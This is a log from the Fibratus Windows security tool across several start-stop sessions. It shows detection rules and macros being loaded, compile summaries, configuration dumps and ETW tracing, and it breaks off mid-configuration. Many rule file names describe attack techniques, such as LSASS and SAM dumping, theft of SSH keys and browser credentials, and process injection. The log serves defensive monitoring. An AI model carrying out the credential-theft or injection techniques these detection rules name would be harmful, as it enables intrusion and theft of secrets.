level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:09:21+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T16:09:21+01:00 level=info msg=bootstrapping with pid 1932. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:09:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true enabled=>false port=>25 content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true buffer-size=>512 min-buffers=>16 enable-mem=>false enable-vamap=>true enable-threadpool=>false flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 stack-enrichment=>true enable-thread=>true enable-handle=>false enable-net=>true enable-image=>true enable-dns=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info max-age=>0 log-stdout=>true max-size=>100 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] enable-gzip=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false enabled=>false method=>POST] amqp=>[ vhost=>/ routing-key=>fibratus durable=>false exchange-type=>topic exchange=>fibratus enabled=>false timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 passive=>false] elasticsearch=>[ template-name=>fibratus timeout=>5s index-name=>fibratus healthcheck=>true healthcheck-interval=>10s flush-period=>1s trace-log=>false enabled=>false bulk-workers=>1 healthcheck-timeout=>5s sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200]]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-allocs=>false skip-files=>false excluded-procs=>[] enabled=>false skip-mmaps=>false scan-timeout=>10s fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:09:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:09:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:10:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:10:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:10:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:11:10+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_binary_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:11:10+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T16:11:10+01:00 level=info msg=bootstrapping with pid 16196. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:11:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false port=>25 content-type=>text/html to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-registry=>true enable-net=>true enable-audit-api=>true enable-fileio=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true stack-enrichment=>true min-buffers=>16 enable-handle=>false flush-interval=>1s enable-mem=>false buffer-size=>512 enable-dns=>false enable-threadpool=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 log-stdout=>true formatter=>text level=>info max-size=>100] + output ......................... [ http=>[ enabled=>false method=>POST serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[]] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-timeout=>5s index-name=>fibratus enabled=>false timeout=>5s template-name=>fibratus healthcheck-interval=>10s flush-period=>1s bulk-workers=>1 gzip-compression=>false trace-log=>false sniff=>false] amqp=>[ exchange=>fibratus delivery-mode=>transient routing-key=>fibratus passive=>false exchange-type=>topic vhost=>/ enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false timeout=>5s durable=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true skip-allocs=>false scan-timeout=>10s excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-registry=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:11:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:11:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:12:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:12:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:12:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:12:43+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T16:12:43+01:00 level=info msg=bootstrapping with pid 16360. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:12:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-handle=>false enable-fileio=>true enable-audit-api=>true enable-thread=>true enable-mem=>false enable-image=>true buffer-size=>512 enable-net=>true enable-threadpool=>false enable-registry=>true min-buffers=>16 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-dns=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info max-size=>100 max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ routing-key=>fibratus timeout=>5s passive=>false durable=>false delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic enabled=>false] elasticsearch=>[ flush-period=>1s trace-log=>false template-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s timeout=>5s sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true bulk-workers=>1 enabled=>false] http=>[ enabled=>false timeout=>5s serializer=>json endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara 